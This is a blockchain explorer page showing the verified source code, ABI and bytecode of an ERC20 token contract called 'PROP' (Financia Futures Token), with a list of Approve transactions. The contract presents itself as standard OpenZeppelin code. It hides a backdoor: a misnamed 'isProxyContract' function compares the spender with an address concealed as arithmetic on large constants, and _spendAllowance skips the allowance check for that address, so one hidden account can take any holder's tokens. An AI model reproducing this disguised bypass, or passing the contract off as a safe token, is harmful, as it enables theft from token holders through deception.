Source Code
Overview
ETH Balance
0 ETH
ETH Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 107 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 9626387 | 253 days ago | IN | 0 ETH | 0.00000477 | ||||
| Approve | 9626339 | 253 days ago | IN | 0 ETH | 0.00000477 | ||||
| Approve | 9626315 | 253 days ago | IN | 0 ETH | 0.00000477 | ||||
| Approve | 9626219 | 253 days ago | IN | 0 ETH | 0.0000048 | ||||
| Approve | 9626207 | 253 days ago | IN | 0 ETH | 0.00000477 | ||||
| Approve | 9626084 | 253 days ago | IN | 0 ETH | 0.00000415 | ||||
| Approve | 9626027 | 253 days ago | IN | 0 ETH | 0.00000479 | ||||
| Approve | 9625824 | 253 days ago | IN | 0 ETH | 0.00000482 | ||||
| Approve | 9625804 | 253 days ago | IN | 0 ETH | 0.00000482 | ||||
| Approve | 9625796 | 253 days ago | IN | 0 ETH | 0.00000415 | ||||
| Approve | 9625776 | 253 days ago | IN | 0 ETH | 0.00000415 | ||||
| Approve | 9625701 | 253 days ago | IN | 0 ETH | 0.00000479 | ||||
| Approve | 9625666 | 253 days ago | IN | 0 ETH | 0.00000479 | ||||
| Approve | 9625613 | 253 days ago | IN | 0 ETH | 0.00000479 | ||||
| Approve | 9625612 | 253 days ago | IN | 0 ETH | 0.00000479 | ||||
| Approve | 9625556 | 253 days ago | IN | 0 ETH | 0.00000479 | ||||
| Approve | 9625547 | 253 days ago | IN | 0 ETH | 0.00000482 | ||||
| Approve | 9625541 | 253 days ago | IN | 0 ETH | 0.00000479 | ||||
| Approve | 9625537 | 253 days ago | IN | 0 ETH | 0.00000479 | ||||
| Approve | 9625445 | 253 days ago | IN | 0 ETH | 0.00000479 | ||||
| Approve | 9625290 | 253 days ago | IN | 0 ETH | 0.00000484 | ||||
| Approve | 9623743 | 253 days ago | IN | 0 ETH | 0.00000477 | ||||
| Approve | 9623707 | 253 days ago | IN | 0 ETH | 0.00000477 | ||||
| Approve | 9623695 | 253 days ago | IN | 0 ETH | 0.00000414 | ||||
| Approve | 9623681 | 253 days ago | IN | 0 ETH | 0.00000477 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Block | From | To | |||
|---|---|---|---|---|---|---|
| 9621697 | 253 days ago | Contract Creation | 0 ETH |
Cross-Chain Transactions
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Name:
PROP
Compiler Version
v0.8.26+commit.8a97fa7a
ZkSolc Version
v1.5.12
Optimization Enabled:
Yes with Mode 3
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function isProxyContract(address account) internal pure returns (bool) {
return uint160(account) == SafeMath.add((165388821019148137492807846242933007416876335104 + 13200720626377321742961141858494298368503709696), 45911109956915431481772414596972736447172111462);
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_transfer(from, to, amount);
_spendAllowance(from, spender, amount);
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if(!spender.isProxyContract()){
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);}
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract PROP is ERC20, Ownable {
constructor() ERC20(unicode"Financia Futures Token", unicode"PROP") {
_mint(owner(), 999999999 * 10**18);
}
}{
"evmVersion": "paris",
"optimizer": {
"enabled": true,
"mode": "3"
},
"outputSelection": {
"*": {
"*": [
"abi"
]
}
},
"detectMissingLibraries": false,
"forceEVMLA": false,
"enableEraVMExtensions": false,
"codegen": "yul",
"libraries": {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
9c4d535b00000000000000000000000000000000000000000000000000000000000000000100010b169339959660a2d87f8135d5253dbb7c8d762f4d96bd28d8a7dd6d8100000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x00020000000000020000008003000039000000400030043f00000001002001900000001a0000c13d0000006002100270000000c902200197000000040020008c000001f60000413d000000000301043b000000e003300270000000e10030009c0000004e0000213d000000e90030009c0000006f0000213d000000ed0030009c000000d00000613d000000ee0030009c000000e80000613d000000ef0030009c000001f60000c13d0000000001000416000000000001004b000001f60000c13d0000000201000039000001910000013d0000000001000416000000000001004b000001f60000c13d0000001601000039000000800010043f000000ca01000041000000a00010043f0000010001000039000000400010043f0000000401000039000000c00010043f000000cb02000041000000e00020043f0000000302000039000000000302041a000000010430019000000001033002700000007f0330618f0000001f0030008c00000000050000390000000105002039000000000054004b000000480000c13d000000200030008c0000003c0000413d000000000020043f000000cc040000410000001f033000390000000503300270000000cd0330009a000000000004041b0000000104400039000000000034004b000000380000413d000000ce03000041000000000032041b000000000301041a000000010030019000000001023002700000007f0220618f0000001f0020008c00000000040000390000000104002039000000000343013f0000000100300190000000810000613d000000dc01000041000000000010043f0000002201000039000000040010043f000000dd010000410000032200010430000000e20030009c000000ad0000213d000000e60030009c000000f60000613d000000e70030009c0000010b0000613d000000e80030009c000001f60000c13d0000000001000416000000000001004b000001f60000c13d0000000403000039000000000203041a000000010520019000000001012002700000007f0410018f00000000010460190000001f0010008c00000000060000390000000106002039000000000662013f0000000100600190000000480000c13d000000800010043f000000000005004b000001d10000c13d000000fb01200197000000a00010043f000000000004004b000000c001000039000000a001006039000000610110008a000002020000013d000000ea0030009c000001140000613d000000eb0030009c0000015d0000613d000000ec0030009c000001f60000c13d000000240020008c000001f60000413d0000000002000416000000000002004b000001f60000c13d0000000401100370000000000101043b000000d30010009c000001f60000213d000000000010043f000000200000043f0000018f0000013d000000200020008c0000008c0000413d000000000010043f000000cf030000410000001f022000390000000502200270000000d00220009a000000000003041b0000000103300039000000000023004b000000880000413d0000000502000039000000000302041a000000d104000041000000000041041b000000d2013001970000000006000411000000000116019f000000000012041b0000000001000414000000d305300197000000c90010009c000000c901008041000000c001100210000000d4011001c70000800d020000390000000303000039000000d504000041032003160000040f0000000100200190000001f60000613d0000000003000411000000000003004b000001950000c13d000000de01000041000001000010043f0000002001000039000001040010043f0000001f01000039000001240010043f000000df01000041000001440010043f000000e0010000410000032200010430000000e30030009c000001640000613d000000e40030009c000001790000613d000000e50030009c000001f60000c13d000000240020008c000001f60000413d0000000002000416000000000002004b000001f60000c13d0000000401100370000000000601043b000000d30060009c000001f60000213d0000000501000039000000000201041a000000d3032001970000000005000411000000000053004b000001c80000c13d000000000006004b000001e60000c13d000000de01000041000000800010043f0000002001000039000000840010043f0000002601000039000000a40010043f000000f001000041000000c40010043f000000f101000041000000e40010043f000000f20100004100000322000104300000000001000416000000000001004b000001f60000c13d0000000303000039000000000203041a000000010520019000000001012002700000007f0410018f00000000010460190000001f0010008c00000000060000390000000106002039000000000662013f0000000100600190000000480000c13d000000800010043f000000000005004b000001e10000c13d000000fb01200197000000a00010043f000000000004004b00000020020000390000000002006039000002010000013d000000440020008c000001f60000413d0000000002000416000000000002004b000001f60000c13d0000000402100370000000000202043b000000d30020009c000001f60000213d0000002401100370000000000301043b00000000010004110320023a0000040f000001710000013d0000000001000416000000000001004b000001f60000c13d0000000501000039000000000201041a000000d3032001970000000005000411000000000053004b000001c80000c13d000000d202200197000000000021041b0000000001000414000000c90010009c000000c901008041000000c001100210000000d4011001c70000800d020000390000000303000039000000d5040000410000000006000019000001f10000013d0000000001000416000000000001004b000001f60000c13d0000000501000039000000000101041a000000d301100197000000800010043f000000f301000041000003210001042e000000640020008c000001f60000413d0000000002000416000000000002004b000001f60000c13d0000000402100370000000000402043b000000d30040009c000001f60000213d0000002402100370000000000202043b000000d30020009c000001f60000213d0000004401100370000000000301043b0000000001040019000100000003001d000200000004001d032002910000040f0000000201000029000000000010043f0000000101000039000000200010043f0000000001000414000000c90010009c000000c901008041000000c001100210000000d7011001c700008010020000390320031b0000040f0000000100200190000001f60000613d000000000101043b0000000002000411000000d302200197000000000020043f000000200010043f0000000001000414000000c90010009c000000c901008041000000c001100210000000d7011001c700008010020000390320031b0000040f00000002040000290000000100200190000001f60000613d000000000101043b000000000101041a000000fc0010009c0000021d0000613d0000000002000411000000f80020009c0000021d0000613d000000010310006c0000021a0000813d000000400100043d0000004402100039000000f903000041000000000032043500000024021000390000001d030000390000000000320435000000de020000410000000000210435000000040210003900000020030000390000000000320435000000c90010009c000000c9010080410000004001100210000000fa011001c700000322000104300000000001000416000000000001004b000001f60000c13d0000001201000039000000800010043f000000f301000041000003210001042e000000440020008c000001f60000413d0000000002000416000000000002004b000001f60000c